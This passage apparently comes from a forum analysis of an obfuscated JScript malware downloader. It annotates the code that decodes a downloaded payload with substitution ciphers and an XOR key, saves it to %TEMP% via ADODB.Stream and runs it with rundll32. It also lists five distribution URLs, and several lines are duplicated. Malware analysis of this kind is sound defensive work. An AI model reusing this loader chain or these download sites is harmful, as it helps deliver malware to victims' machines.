var vFc8 = vIb7(vHi9);
return vMHn8;
};=> the key that will be used for the XOR is converted from string to array of char codes
for (var vDp1 = 0; vDp1 < vMHn8.length; vDp1 += 1) {=> 0 substitutions because no char codes from the key chars are above 127
"ds6NiIXBPp" :
"ds6NiIXBPp" :
=> 100 115 54 78 105 73 88 66 80 112 (key char codes)
vMHn8[vDp1] ^= vFc8[vDp1 % vFc8.length];
};=> XOR : between the file content char codes and the key char codes
Example :
Example :
first char code XOR 100
second char code XOR 115
...
tenth char code XOR 112
eleventh char code XOR 100 => for the key part, it returns to the first char code
twelfth char code XOR 115
etc...
second char code XOR 115
...
tenth char code XOR 112
eleventh char code XOR 100 => for the key part, it returns to the first char code
twelfth char code XOR 115
etc...
return vMHn8;
=> returns the new file content after XOR using a key
// Reads the content from the file, returns after the first substitution cipher : vIb7(vEj8)
function vBYo5(vAFr7) {
var vTs6 = new ActiveXObject("ADODB.Stream");
};=> creates a new stream object
vTs6.type = 2;
=> data type : 2 => text
vTs6["Charset"] = "437";
=> Code page 437 (is the original code page of the IBM PC)
vTs6.open();
=> opens the stream : ready to be used
vTs6["LoadFromFile"](vAFr7);
=> Loads the content of the file (obfuscated payload) to the stream
var vEj8 = vTs6["ReadText"];
=> string created with the data from the stream object
vTs6.close();
=> closes the stream
return vIb7(vEj8);
=> returns the content file as an array of char codes after the first substitution cipher (char codes replacement)
// Uses the 2nd substitution cipher and saves the complete deobfuscated file content
function vQm1(vAFr7, vMHn8) {
=> parameter 1 : final path
=> parameter 2 : file content
var vTs6 = new ActiveXObject("ADODB.Stream");
};=> new stream object to manipulate the data
vTs6.type = 2;
=> data type : 2 => Text
vTs6["Charset"] = "437";
=> Code page 437 (is the original code page of the IBM PC)
vTs6.open();
=> Opens the stream
vTs6["writeText"](vQv8(vMHn8));
=> writes the text on the stream after 2nd substitution cipher vQv8(vMHn8)
vTs6["SaveToFile"](vAFr7, 2);
=> saves the content to the file with real extension
vTs6.close();
=> Closes the stream object
4) Conclusion :
var vDl7 = new Function("vDPd8", '{return vDPd8.split(",").join("");};');
=> useless
=> useless
var vLUm3 = new Function("vDPd8", '{var vKa9 = new Date();vKa9["setUTCFullYear"]("2003");if (vKa9.getUTCFullYear().toString(10) == "2003") {var vRVh5 = vDPd8.split("###"); return vRVh5.join("");} else return "";};');
=> Can be simplified by :
var vLUm3 = function(parameter){return parameter.split("###").join("")} ;
=> but this function is similar to delete '###' => can be easily done by an editor, like notepad++
=> but this function is similar to delete '###' => can be easily done by an editor, like notepad++
Deobfuscation of the payload :
- data received from http request
- saved to C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU
- file_content = first substitution cipher used
- file_content= XOR between file_content and key (key : string to array of char codes)
- saved to C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU
- file_content = first substitution cipher used
- file_content= XOR between file_content and key (key : string to array of char codes)
if the two first char of file are MZ (header for executable exe or dll files)
- calls the 2nd substitution cipher
- real file saved : C:\Users\DardiM\AppData\Local\Temp/PNIqXxFU.zk
- dll runs with :
- real file saved : C:\Users\DardiM\AppData\Local\Temp/PNIqXxFU.zk
- dll runs with :
rundll32 C:\Users\DardiM\AppData\Local\Temp\PNIqXxFU.zk,zKOV
PNIqXxFU.zk : the dll
zKOV : the Entry-point (function called)
PNIqXxFU.zk : the dll
zKOV : the Entry-point (function called)
Rundll performs the following steps:
- It parses the command line.
- It loads the specified DLL via LoadLibrary().
- It obtains the address of the <entrypoint> function via GetProcAddress().
- It calls the <entrypoint> function, passing the command line tail which is the <optional arguments>.
URLs :
http ://reliatemp.net/5zuhrikzt
http ://salemwitchcat.com/5yajm7iopz
http ://royaloakripon.co.uk/8eecjblke
http ://shopclaz.com/wnrnnqjf
http ://riviera-ligure.it/w1uoe
Payload :
- PNIqXxFU when downloaded and saved the first time on %TEMP% (obfuscated payload )
- PNIqXxFU.zk when decipher 1, XOR, decipher 2 , worked => deobfuscated payload
- PNIqXxFU.zk when decipher 1, XOR, decipher 2 , worked => deobfuscated payload
Last edited: